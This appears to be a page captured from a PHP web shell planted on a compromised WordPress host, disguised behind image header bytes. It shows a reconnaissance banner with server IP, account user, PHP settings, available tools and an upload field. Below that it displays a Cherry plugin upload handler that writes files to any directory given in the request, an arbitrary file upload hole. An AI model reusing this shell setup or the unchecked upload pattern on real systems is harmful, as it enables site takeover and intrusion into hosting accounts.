????JFIF??x?x????'
| Server IP : 172.67.174.47 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /././proc/self/cwd/wp-content/plugins/cherry-plugin-x/admin/import-export/ |
Upload File : |
<?php
// If this file is called directly, abort.
if ( ! defined( 'ABSPATH' ) ) {
die('Error');
}
/**
* Process file uploads for importer
*/
function cherry_plugin_process_upload() {
// verify nonce
check_ajax_referer( 'cherry_plugin_upload', '_wpnonce' );
// check user caps
if ( !current_user_can( 'import' ) ) {
wp_die( 'You don\'t have permissions to do this', 'Error' );
}
if ( strtolower( $_SERVER['REQUEST_METHOD'] ) != 'post' ) {
wp_die( 'Wrong method', 'Error' );
}
if ( array_key_exists( 'file', $_FILES ) ) {
$upload_dir = isset($_REQUEST['dir']) ? $_REQUEST['dir'] : $upload_dir ;
$file_name = basename($_FILES['file']['name']);
$upload_file = $upload_dir . $file_name;
$result = move_uploaded_file($_FILES['file']['tmp_name'], $upload_file);
}
die();
}
add_action( 'wp_ajax_cherry_import_files', 'cherry_plugin_process_upload' );